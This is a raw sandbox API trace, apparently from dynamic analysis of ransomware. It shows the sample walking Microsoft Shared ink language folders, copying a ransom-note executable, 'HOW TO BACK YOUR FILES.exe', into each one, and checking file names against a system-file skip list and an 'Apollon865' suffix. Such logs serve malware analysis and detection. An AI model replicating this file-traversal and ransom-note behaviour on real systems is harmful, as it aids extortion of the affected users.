	[0076.526] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0076.526] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0076.526] lstrcmpiW (lpString1="zh-CN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.526] lstrcmpiW (lpString1="zh-CN", lpString2="Apollon865.txt.exe") returned 1
	[0076.526] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="zh-CN" | out: lpString1="zh-CN") returned="zh-CN"
	[0076.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fee8
	[0076.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5925c0
	[0076.526] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fef0 | out: ListHead=0x5b76b0, ListEntry=0x59fef0) returned 0x59fed0
	[0076.526] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0076.526] lstrcmpiW (lpString1="zh-TW", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.526] lstrcmpiW (lpString1="zh-TW", lpString2="Apollon865.txt.exe") returned 1
	[0076.526] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="zh-TW" | out: lpString1="zh-TW") returned="zh-TW"
	[0076.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff08
	[0076.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x592640
	[0076.527] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff10 | out: ListHead=0x5b76b0, ListEntry=0x59ff10) returned 0x59fef0
	[0076.527] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0076.527] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.527] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59ff10
	[0076.527] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW"
	[0076.527] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592640 | out: hHeap=0x580000) returned 1
	[0076.527] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff08 | out: hHeap=0x580000) returned 1
	[0076.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW") returned 56
	[0076.527] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW"
	[0076.527] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.527] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.531] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45afac50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45afac50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.531] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.531] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.531] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.531] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45afac50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45afac50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.531] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.531] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.531] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.531] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.531] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45afac50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45afac50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.531] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.531] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.531] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.532] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.532] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*") returned 58
	[0076.532] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.532] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.532] lstrlenW (lpString="Apollon865") returned 10
	[0076.532] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.532] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN"
	[0076.532] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5925c0 | out: hHeap=0x580000) returned 1
	[0076.532] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0076.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN") returned 56
	[0076.532] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN"
	[0076.532] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.532] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.538] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45afac50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45afac50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.538] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.538] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.538] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.538] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45afac50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45afac50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.539] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.539] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.539] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.539] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.539] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45afac50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45afac50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.539] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.539] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.539] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.539] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*") returned 58
	[0076.539] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.539] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.539] lstrlenW (lpString="Apollon865") returned 10
	[0076.539] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.539] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA"
	[0076.539] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592540 | out: hHeap=0x580000) returned 1
	[0076.539] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0076.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA") returned 56
	[0076.540] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA"
	[0076.540] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.540] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.549] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b20db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b20db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.550] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.550] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.550] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.550] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b20db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b20db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.550] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.550] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.550] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.550] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.550] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b20db0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45b20db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.550] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.550] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.550] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.550] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.550] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.550] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.550] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.550] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.551] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.551] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*") returned 58
	[0076.551] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.551] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.551] lstrlenW (lpString="Apollon865") returned 10
	[0076.551] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.551] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR"
	[0076.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5924c0 | out: hHeap=0x580000) returned 1
	[0076.551] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0076.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR") returned 56
	[0076.551] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR"
	[0076.551] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.551] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.555] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b46f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.555] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.555] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.555] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.555] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b46f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.555] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.555] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.555] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.555] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.555] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b46f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.555] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.555] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.555] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
